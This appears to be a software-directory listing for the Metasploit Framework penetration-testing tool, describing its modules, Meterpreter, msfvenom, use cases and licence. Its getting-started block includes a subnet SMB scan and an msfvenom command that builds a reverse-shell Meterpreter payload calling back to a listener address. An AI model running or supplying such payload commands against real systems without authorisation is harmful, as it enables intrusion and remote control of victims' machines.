Overview

Metasploit Framework is the world’s most widely used open-source penetration-testing framework — a Ruby-based platform for developing, testing and running exploit code against systems you are authorised to test. It began in 2003 as a personal project by HD Moore, was acquired by Rapid7 in 2009, and has since grown from a small set of standalone exploit scripts into a modular framework maintained jointly by Rapid7 and a large open-source community. The Framework is free software, released under a 3-clause BSD licence, and it is the engine that the company’s commercial Metasploit Pro and Metasploit Community editions are built on top of. This listing covers the free, open-source Framework only.

It is not a single scanner but an integration point: exploits, scanners, payloads and post-exploitation tools all live in one searchable module library, are driven from one console, and share one workspace database of hosts, services, credentials and loot. That structure is why it has stayed the reference tool of the field for two decades — whether you are validating a CVE on a lab machine, running an authorised internal penetration test, or checking whether your detection stack notices a real attack.

Key Features

• A very large module library. Measured against the current master tree, the repository ships roughly 2,715 exploit modules, 1,347 auxiliary (scanning, fuzzing, brute-force, sniffing) modules, 436 post-exploitation modules, 545 payload modules, plus encoders, NOP generators and evasion modules — over 5,000 module files in total. New exploits and modules are merged constantly, with nightly builds published every day.
• Module database and the msfconsole interface. The console is the primary interface: search the library (search), load a module (use), inspect it (info, show options, show payloads), configure it (set) and fire it (run). Tab completion, resource scripts and a per-workspace database of hosts and services (PostgreSQL-backed) turn a pile of modules into a working engagement.
• Meterpreter. An advanced in-memory payload that gives an interactive session on the target without writing an executable to disk: file upload/download, process listing and migration, credential and hash collection, network and route enumeration, screen/keyboard capture, and an API extensible in Ruby and Python. It supports pivoting, so a compromised host can be used to reach networks the tester cannot route to directly.
• msfvenom. The standalone payload generator and encoder (successor to msfpayload and msfencode) writes payloads in dozens of formats — ELF, Windows PE/EXE, Mach-O, APK, WAR, JAR, raw shellcode, Python, PHP, PowerShell, and more — with encoding and output options for standalone artefacts.
• Payloads, staging and transports. Staged and stageless payloads, reverse and bind shells, meterpreter variants over TCP, and encrypted transports such as HTTPS and named pipes, so sessions can be delivered in constrained networks.
• Auxiliary and scanner modules. Port scanning, SMB/SSH/HTTP service identification, version fingerprinting, login brute-forcing, credential sniffing and fuzzers — plus db_nmap, which imports nmap results straight into the workspace alongside results imported from Nessus and Nexpose.
• Post-exploitation and lateral movement. Hundreds of modules for privilege escalation, credential gathering, persistence checks, and pivoting through established sessions (route, SOCKS proxy).
• Automation and integration. Resource scripts (.rc) automate repeatable runs; msfrpcd exposes the framework over a JSON-RPC API for other tooling and CI pipelines; the Ruby module API means you can write and share your own exploits, scanners and post modules.
• Free and open source. BSD-3-Clause for the Framework, with a public issue tracker, pull-request review and Slack/GitHub Discussions community channels — around 39,000 stars on GitHub at the time of writing.

Why Use It

• Accuracy through execution. Where a scanner reports a probable CVE, Metasploit can attempt the exploit and prove whether the host really is vulnerable — the difference between a finding a client accepts and one they argue about.
• Coverage and longevity. The largest maintained exploit collection in open source, with a two-decade history of modules that still work in lab and legacy environments.
• One workspace, one record. Hosts, services, credentials and loot accumulate in one database during an engagement, which makes reporting and re-testing far less error-prone than juggling separate tools.
• Extensible and scriptable. Anything you can do manually you can script: resource files, the JSON-RPC API and the module API make it a building block rather than a black box.
• Free for the Framework. No licence fee, no seat limit, no telemetry requirement — and commercial support is available separately through Rapid7 if you need it.

Use Cases

• Authorised penetration testing and red teaming — the standard exploitation stage of a test, from service discovery through to validated access and post-exploitation.
• Vulnerability validation — confirming patching gaps after a scanner has flagged them, so remediation effort goes to real problems.
• Learning and practice — it ships preinstalled in Kali Linux and Parrot OS and is the de facto teaching tool for exploitation in training labs and CTFs.
• Detection and purple teaming — running known exploits against your own monitoring stack to see whether EDR, IDS and logging actually fire.
• Exploit development and research — a scaffold for turning a proof-of-concept into a tested, reusable module.

Getting Started

On an authorised target, a first session looks like this:

msfconsole                      # start the console
search type:auxiliary smb       # find scanner modules
use auxiliary/scanner/smb/smb_version
show options
set RHOSTS 10.0.0.0/24
run
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.0.0.5 -f elf -o shell.elf

Platforms

The Framework runs on Linux (official nightly .deb and .rpm packages, plus preinstalled in Kali Linux and Parrot OS), macOS (official .pkg installer) and Windows (official 64-bit .msi). The official installers bundle their own Ruby and database dependencies; a PostgreSQL service is used for the workspace database, though the console runs without one. On Windows, antivirus products routinely flag the Metasploit package and the payloads it generates — that is expected behaviour, not an infection.

Related Tools in the Directory

• Kali Linux — the penetration-testing distribution that ships the Framework by default
• Parrot OS — another security-focused distribution bundling Metasploit
• Nikto — web server scanner, often run from inside an msfconsole engagement
• Wapiti — black-box web application vulnerability scanner

Licence

Open source — BSD-3-Clause. The Metasploit Framework is distributed under a 3-clause BSD licence (copyright Rapid7, Inc.); the COPYING file also notes that the licence does not cover several bundled third-party components, which carry their own terms. The commercial Metasploit Pro and Metasploit Community editions are separate, proprietary products and are not covered by this listing.

Website

metasploit.com — source code at github.com/rapid7/metasploit-framework, documentation at docs.metasploit.com.